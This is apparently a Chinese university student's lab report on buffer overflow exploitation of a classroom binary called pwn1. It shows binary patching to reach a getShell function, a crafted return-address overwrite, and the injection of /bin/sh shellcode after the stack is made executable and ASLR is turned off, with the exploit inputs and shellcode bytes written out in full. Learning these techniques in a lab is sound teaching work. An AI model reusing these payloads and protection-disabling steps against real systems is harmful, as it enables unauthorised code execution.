20232815 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
机器指令与汇编语言: 汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。在汇编语言中,用助记符代替机器指令的操作码,用地址符号或标号代替指令或操作数的地址。在不同的设备中,汇编语言对应着不同的机器语言指令集,通过汇编过程转换成机器指令。特定的汇编语言和特定的机器语言指令集是一一对应的,不同平台之间不可直接移植。
缓冲区溢出简介: 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
shellcode: shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
将pwn1解压后拖入kali虚拟机,通过命令hostname修改为自己的姓名,修改完成后重新打开终端。
将pwn1进行备份,修改为自己的学号,使用objdump -d pwn20232815|more
命令进行反汇编,并利用管道进行分页显示。
可以看到程序涉及到的主要函数段:
通过观察,main函数中使用了call指令将调用位于地址8048491处的foo函数。其对应机器指令为“e8 d7ffffff”,e8即跳转之意。此时此刻EIP的值应该是下条指令的地址,即80484ba,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。此时如果想让它调用getShell函数,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
使用命令vi 20232815pwn
打开文件
输入:%!xxd
将其转换为16进制模式
输入命令/e8 d7
查找要修改的内容
将d7修改为c3,然后使用:%!xxd -r
将转换16进制为原格式,保存退出。
再次输入命令objdump -d 20232815pwn|more
反汇编,发现main函数的call指令正确的调用了getShell。
运行下改后的代码,会得到shell提示符
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
再次反汇编pwn1,了解程序的基本功能。
再次备份pwn1,安装gdb,对其进行调试。
输入r运行程序,如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。输入构造为:11111111222222223333333344444444\x7d\x84\x04\x08
由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。perl -e 'print "ppppppppxxxxxxxxkkkkkkkk66666666\x7d\x84\x04\x08\x0a"' > 20232815
,使用命令xxd 20232815
查看。
然后将20232815的输入,通过管道符“|”,作为20232815pxk的输入。命令为(cat 20232815; cat) | ./20232815pxk
。
实验成功。
2.3注入一个自己制作的shellcode并运行这段shellcode。
进入官网下载execstack,解压完成后进行实验。
execstack -s 20232815pxk2 //将堆栈设置为可执行状态
execstack -q 20232815pxk2 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
参考其他博客,使用的shellcode为
\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00
输入命令perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > ainput
输入命令(cat ainput|cat)./a20232815
重新再打开一个终端,使用命令ps -ef | grep a20232815
查看进程号
进程号为3821,然后用gdb打开a20232815文件,使用attach 3821
进行追踪。
输入命令disassemble foo
反汇编
在0x080484ae处设置断点break *0x0484ae
,输入c继续进程,同时在第一个终端回车一下。使用命令 info r esp
查看栈顶指针所在的位置为 0xffffd3cc。再使用命令x/16x 0xffffd3cc,可以看到 0xffffd3cc中有值 04030201
使用计算器计算出地址。
修改命令为perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > ainput
重新使用命令(cat input;cat)|./a20232815
即可成功。
3.学习中遇到的问题及解决
- 问题1:2.1中提示command not found: xxd
- 问题1解决方案:没有下载xxd,下载后问题解决
- 问题2:修改文件后
objdump -d 20232815pwn|more
显示file format not recognized
- 问题2解决方案:修改后未将16进制转化为原格式,转换后保存问题解决。
- 问题3:无法定位软件包execstack
- 问题3解决方案:通过查看同学的博客进行解决。
4.实践总结
通过本次实验,我实现了3种获取shell的方式,了解到了缓冲区溢出的知识,同时也遇到了一些问题,不过在参考了指导书和同学的博客也顺利的解决了,提高了我的动手能力。